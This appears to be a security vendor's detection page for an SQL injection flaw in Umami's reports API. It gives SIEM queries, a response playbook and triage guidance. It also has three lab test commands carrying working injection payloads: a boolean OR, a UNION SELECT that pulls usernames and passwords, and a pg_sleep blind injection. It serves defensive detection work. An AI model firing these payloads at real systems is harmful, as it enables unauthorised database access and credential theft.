Skip to content
CVE-2026-138445

Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445)

Initial Access Collection Last updated:

Detects exploitation attempts against CVE-2026-138445, an SQL injection vulnerability in Umami analytics through version 3.5.0. The flaw is in the reports API. A crafted filter 'prefix' value, parsed in src/lib/params.ts and passed to raw SQL construction in src/lib/prisma.ts, is concatenated into a query without proper parameterization. Share token holders or any authenticated user can inject SQL (CWE-89, CVSS 9.4). Detection focuses on anomalous HTTP requests to Umami report and filter endpoints containing SQL metacharacters or injection syntax in the prefix or filter parameters, plus database-side signs of injected query structure.

Based on VulnCheck Advisory, Umami through 3.5.0 SQL Injection via Reports API Filter Prefix

Vulnerability Intelligence

Theoretical

What is CVE-2026-138445 Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445)?

Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445) (CVE-2026-138445) maps to the Initial Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445), covering the data sources and telemetry it touches: IIS Logs, Reverse Proxy Logs, Web Server Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Collection
Microsoft Sentinel / Defender
kusto
// df00tech DF00-4652b2b708 · https://df00tech.com/detections/CVE-2026-138445 · licence: https://df00tech.com/detections/licence
let sqlPatterns = dynamic(["union select","' or ","'||","'--","/*","xp_","pg_sleep","waitfor delay","information_schema","convert(","cast(","';","0x"]);
W3CIISLog
| where csUriStem has_any ("/api/reports", "/api/websites", "/share")
| where tolower(csUriQuery) has "filter" or tolower(csUriQuery) has "prefix" or tolower(csReferer) has "reports"
| extend decodedQuery = url_decode(csUriQuery)
| where decodedQuery has_any (sqlPatterns)
| project TimeGenerated, cIP, csUsername, csMethod, csUriStem, decodedQuery, scStatus, csUserAgent
| sort by TimeGenerated desc

Flags IIS/reverse-proxy logged requests to Umami reports or share endpoints whose decoded query string contains SQL injection syntax in the filter/prefix parameter.

critical severity medium confidence

Data Sources

IIS Logs Reverse Proxy Logs Web Server Logs

Required Tables

W3CIISLog

False Positives

  • Security scanners or DAST tools (Burp, OWASP ZAP) running authorized assessments against the Umami instance
  • Legitimate report filters that happen to contain special characters such as apostrophes in referrer/page names
  • Penetration testers validating the patch for CVE-2026-138445

Query fingerprint DF00-4652b2b708 · licence

Sigma logsource & community rules

The detection logic for Umami Reports API SQL Injection via Filter Prefix (CVE-2026-138445) (CVE-2026-138445) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Boolean-based SQL injection via reports filter prefix

    Expected signal: Web/proxy access log entry for /api/reports with URL-decoded filter containing "' OR '1'='1".

  2. Test 2 UNION-based SQL injection via filter prefix

    Expected signal: Access log and database query log showing a UNION SELECT appended to the reports query.

  3. Test 3 Time-based blind SQL injection via filter prefix

    Expected signal: Access log entry with pg_sleep in decoded filter and an abnormally long request duration (~5s).


Response Playbook

Triage

  1. Confirm the targeted host runs Umami and identify its version. Versions through 3.5.0 are vulnerable to CVE-2026-138445.
  2. Extract the full URL-decoded filter/prefix parameter from the alerting request and determine whether it contains functional SQL (UNION SELECT, boolean or time-based payloads, information_schema access) versus benign special characters.
  3. Identify the authenticated principal or share token used. Share token holders and any authenticated user can reach the vulnerable reports API. Review that account's recent request history.
  4. Correlate the request timestamp with database logs to see whether an injected query executed successfully (non-error response, abnormal latency for time-based payloads).

Containment

  1. Block the offending source IP and revoke the implicated share tokens and/or disable the authenticated account at the Umami or reverse-proxy layer.
  2. Apply the vendor fix (commit 98937e71bd776a44c58190051a58cdac811a5daf) or upgrade Umami past 3.5.0. If immediate patching is impossible, restrict access to /api/reports and share endpoints via WAF rules rejecting SQL metacharacters in filter parameters.

Evidence Collection

  1. Preserve web/proxy access logs, Umami application logs, and the underlying PostgreSQL query logs covering the attack window.
  2. Capture the raw malicious request payloads, the authenticated session or share token, and any database error or result-size anomalies tied to the injected queries.

Escalation Criteria

  • ! Escalate to incident response if database logs confirm a successful injected query returned data (for example, information_schema enumeration or dumped analytics or user tables).
  • ! Escalate if evidence shows stacked queries, data modification, or lateral access to credentials stored in the Umami database.

Investigation Guide

Forensic Artifacts

  • > Web/reverse-proxy access logs showing report/share requests with SQL metacharacters in the filter prefix
  • > Database query logs containing malformed or injected SQL originating from the Umami application user
  • > Umami application logs and the share_token or session records tied to the implicated principal

Tuning Guidance

Baseline legitimate filter values used by your analysts. Some dimension or page names legitimately contain apostrophes or SQL keywords. Narrow the SQL pattern list to high-fidelity constructs (UNION SELECT, information_schema, time-based functions) if benign special characters generate noise, and exclude the source IPs of authorized scanners. Prioritize alerts where the authenticating principal is a share token holder, since that is the lowest-privilege path to the vulnerable endpoint.


Hunting Queries

Aggregates injection-signature requests to Umami report/share endpoints by source and user to spot repeated probing.

Hunting — KQL
kql
// df00tech DF00-4652b2b708 · https://df00tech.com/detections/CVE-2026-138445 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/api/reports","/share") | extend q=url_decode(csUriQuery) | where q has_any ("information_schema","pg_sleep","union select") | summarize count() by cIP, csUsername, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-4652b2b708 · https://df00tech.com/detections/CVE-2026-138445 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/api/reports*" OR uri_path="*/share*") | eval q=urldecode(uri_query) | search q="*information_schema*" OR q="*pg_sleep*" OR q="*union select*" | stats count by src_ip, user

Atomic Red Team Tests

Test 1 Boolean-based SQL injection via reports filter prefix
linux

Sends an authenticated request to the Umami reports API with a boolean injection payload in the filter prefix parameter.

Command

bash
curl -s -H "Authorization: Bearer $UMAMI_SHARE_TOKEN" "https://umami.lab.local/api/reports/insights?websiteId=1&filters=%5B%7B%22field%22%3A%22url%22%2C%22value%22%3A%22abc%27%20OR%20%271%27%3D%271%22%7D%5D"

Cleanup

bash
echo 'No persistent change; clear app and proxy logs in lab if required.'

Expected Telemetry

Web/proxy access log entry for /api/reports with URL-decoded filter containing "' OR '1'='1".

Expected Detection

KQL/SPL rules flag the decoded query string containing "' or " against the reports endpoint.

Test 2 UNION-based SQL injection via filter prefix
linux

Attempts a UNION SELECT injection in the filter prefix to enumerate database schema.

Command

bash
curl -s -H "Authorization: Bearer $UMAMI_SHARE_TOKEN" "https://umami.lab.local/api/reports/funnel?websiteId=1&prefix=x%27%20UNION%20SELECT%20username%2Cpassword%20FROM%20account--"

Cleanup

bash
echo 'No persistent change in lab environment.'

Expected Telemetry

Access log and database query log showing a UNION SELECT appended to the reports query.

Expected Detection

All seven SIEM rules match the "union select" / information enumeration signature.

Test 3 Time-based blind SQL injection via filter prefix
linux

Issues a time-based blind injection (pg_sleep) to confirm exploitability without visible output.

Command

bash
curl -s -o /dev/null -w "%{time_total}\n" -H "Authorization: Bearer $UMAMI_SHARE_TOKEN" "https://umami.lab.local/api/reports/insights?websiteId=1&prefix=x%27%3B%20SELECT%20pg_sleep(5)--"

Cleanup

bash
echo 'No cleanup needed; lab only.'

Expected Telemetry

Access log entry with pg_sleep in decoded filter and an abnormally long request duration (~5s).

Expected Detection

Rules match the pg_sleep / time-based delay signature on the reports endpoint.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections